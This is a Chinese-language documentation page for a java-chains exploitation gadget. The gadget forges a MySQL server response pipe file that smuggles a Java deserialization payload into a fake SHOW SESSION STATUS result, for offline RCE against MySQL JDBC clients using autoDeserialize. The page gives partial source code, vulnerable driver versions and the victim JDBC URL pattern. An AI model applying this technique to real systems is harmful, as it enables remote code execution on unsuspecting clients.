Skip to content

Latest commit

 

History

History
91 lines (81 loc) · 7.43 KB

File metadata and controls

91 lines (81 loc) · 7.43 KB

FakeMySQL PipeFile(FakeMySQLPipeFile)

  • 类别:mysql 别名:— 优先级:—
  • 作者:Unam4
  • 依赖:无 java-chains 侧第三方依赖;受害方需为存在反序列化漏洞的 MySQL JDBC 驱动版本(mysql5:5.1.11-5.1.18/5.1.19-5.1.28/5.1.29/5.1.48/6.0.2-6.0.6;mysql8:8.0.7-8.0.20)

作用

生成一份完整的 MySQL 服务端应答字节流并写成 pipe 文件,用于 MySQL JDBC 客户端 autoDeserialize 反序列化漏洞的离线(不出网)利用。它把内层 gadget 产出的恶意序列化字节(byte[])嵌入伪造的 SHOW SESSION STATUS 结果集中;受害方通过 NamedPipeSocketFactory 读取这份 pipe 文件、把结果集里的字节交给 ServerStatusDiffInterceptor 反序列化,从而触发 RCE。

链接标签

  • 入口 tagsFakeMySQLPipeFile —— 声明本 gadget 产出「Fake MySQL pipe 恶意流」,被 FakeMySQLBuildPipeFile@PayloadAnnotation(gadgetTags={"FakeMySQLPipeFile"}))识别并输出为 byte[] 文件。
  • 衔接 nextTagsCustomBytePayloadJavaNativeDeserializePayload
    • 表示其内层需接一个「能产出原始恶意字节数组」的 gadget——要么直接给一段自定义字节(CustomBytePayload),要么给一条标准 Java 原生反序列化链的序列化结果(JavaNativeDeserializePayload,如 CB1/CC 链的最终序列化字节)。
  • excludes:无(其对应 Payload 标注了 excludes={"NotForJavaSerializable"},即内层必须是可被 Java 原生反序列化的载荷)。

源码剖析

核心方法 getObject(byte[] mysqlData) 逐段拼装 MySQL 服务端与客户端「握手 → 认证 → 查询应答」的完整报文序列,其中 mysqlData 就是内层 gadget 的恶意序列化字节:

public byte[] getObject(byte[] mysqlData) throws Exception {
    ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
    byte[] greet = new GreetingMessage().getBytes();
    byte[] finalPacket = PacketHelper.buildPacket(0, greet);   // seq0:Server Greeting 握手包
    outputStream.write(finalPacket);
    ...
    if (this.MysqlPassword.equals("1")) {
        PasswordBuf = "0000000000000000000000000000000000000000";   // 需要 password 属性时填充占位
    }
    a = this.MysqlVersion.equals("5.1")
        ? "360000018fa20200ffffff00...." + HexBin.encode(this.MysqlUsername.getBytes()) + PasswordBuf + "00007465737400"
        : "4E0000018FA20A00FFFFFF00...." + HexBin.encode(this.MysqlUsername.getBytes()) + PasswordBuf + "000074657374006D7973716C5F6E61746976655F70617373776F726400";
    outputStream.write(HexBin.decode(a));                       // 认证结果/OK 包,内嵌用户名与库名 test
    ...
}

可以看到:

  1. 握手包GreetingMessage 生成,走 PacketHelper.buildPacket(seq, payload) 打包(seq 为 MySQL 包序号)。
  2. 认证应答包是一段硬编码 hex 模板,模板中动态拼入 HexBin.encode(MysqlUsername)(用户名)与 PasswordBuf(是否含 password 属性),末尾 7465737400 即 ASCII test\0——数据库名固定为 test(Payload 描述强调不可改)。5.1 与 5/6/8 用不同模板与协议版本字节。

随后按版本补发若干固定包,mysql8 还要额外应答 SHOW VARIABLES

outputStream.write(HexBin.decode("0700000200000002000000"));   // OK 包
if (this.MysqlVersion.equals("8")) {
    outputStream.write(HexBin.decode("65000000032f2a...53484f57205641524941424c4553"));  // 回显 connector 版本 + SHOW VARIABLES
    new VariablesResolver(outputStream).resolve();              // 应答一整套 server variables
    outputStream.write(HexBin.decode("0f00000003534554204e414d45532075746638"));         // SET NAMES utf8
    outputStream.write(HexBin.decode("0700000200000002000000"));
}
outputStream.write(HexBin.decode("140000000353484F572053455353494F4E20535441545553")); // SHOW SESSION STATUS
GadgetResolver gadgetResolver = new GadgetResolver(outputStream, mysqlData);
gadgetResolver.resolve();                                       // 把 mysqlData 塞进结果集
return outputStream.toByteArray();

关键在最后的 GadgetResolver.resolve——它伪造一个 3 列(a/b/c)结果集,并把内层恶意字节放到中间列的值里:

byte[] packet = PacketHelper.buildPacket(6, ColumnPacket.buildColumnValuesPacket(
        new byte[][]{ "111".getBytes(), this.mysqlData, "222".getBytes() }));   // mysqlData 作为一行数据回传
this.outputStream.write(packet);

ServerStatusDiffInterceptor 拦截器在客户端处理 SHOW SESSION STATUS 结果时,若开启 autoDeserialize=true,会把这类结果值当作序列化对象反序列化,从而执行内层链。

invoke 则把内层链产出的字节交给 getObject

@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
    return this.getObject((byte[]) chain.doCreate(context));   // 内层 gadget 必须产出 byte[]
}

nextTags 要求下游产出 byte[](自定义字节或一条 Java 反序列化链的序列化结果)。

参数(@Param)

字段 名称 说明 默认 可选值
MysqlVersion MysqlVersion 目标 MySQL JDBC 版本,决定握手/认证报文模板与协议分支。存在漏洞版本见依赖说明 5 5.1(mysql5 5.1.11-5.1.18) / 5(mysql5/6) / 8(mysql8)
MysqlUsername MysqlUsername 伪造服务端接受的连接用户名,需与受害方 JDBC URL 的 user 一致 mysql 任意字符串
MysqlPassword MysqlPassword 是否在认证包中填充 password 占位(1 则 JDBC URL 需带 password 属性,值任意) 0 0(不设置) / 1(设置)

适用版本与原理要点

  • 面向 MySQL JDBC 客户端 autoDeserialize 反序列化链:受害方 JDBC URL 需形如 jdbc:mysql://xxx/test?autoDeserialize=true&statementInterceptors=...ServerStatusDiffInterceptor&user=mysql&socketFactory=...NamedPipeSocketFactory&namedPipePath=output.pcap(mysql5/6/8 拦截器与 socketFactory 全类名不同,见 FakeMySQLBuildPipeFile 描述)。
  • NamedPipe(命名管道 / 本地 pipe 文件) 而非 TCP,属于不出网利用:生成的 pipe 恶意流文件上传到目标机,客户端从 pipe 读取即可,无需回连攻击者。
  • 数据库名固定 test、生成的 bin/pipe 文件会被覆盖需重新生成——这些约束来自 Payload 描述,改动会导致连接失败。
  • 仅当目标 MySQL JDBC 处于存在反序列化漏洞的版本区间时可用;内层链选型需与目标 JVM/依赖匹配(如经典 CB1/CC 链的序列化字节)。

所属预设链

自由构件,未直接出现在预设链(usedInChains 为空)。经由「Fake MySQL 生成 Pipe 恶意流文件」Payload(FakeMySQLBuildPipeFile)驱动,内层自行接一条产出 byte[] 的反序列化链。

关联

  • 内层(nextTags):任何产出 byte[] 的 gadget/链——CustomBytePayload(自定义字节)或 JavaNativeDeserializePayload(如 CommonsBeanutils1 + TemplatesImpl 的序列化结果)。
  • 同族(Fake MySQL 家族,读文件/SSRF 路线):FakeMySQLReadFileFakeMySQLSSRF
  • 上层 Payload:FakeMySQLBuildPipeFilegadgetTags={"FakeMySQLPipeFile"}excludes={"NotForJavaSerializable"}
  • 参考:MySQL JDBC Fake Server 项目 https://github.com/4ra1n/mysql-fake-server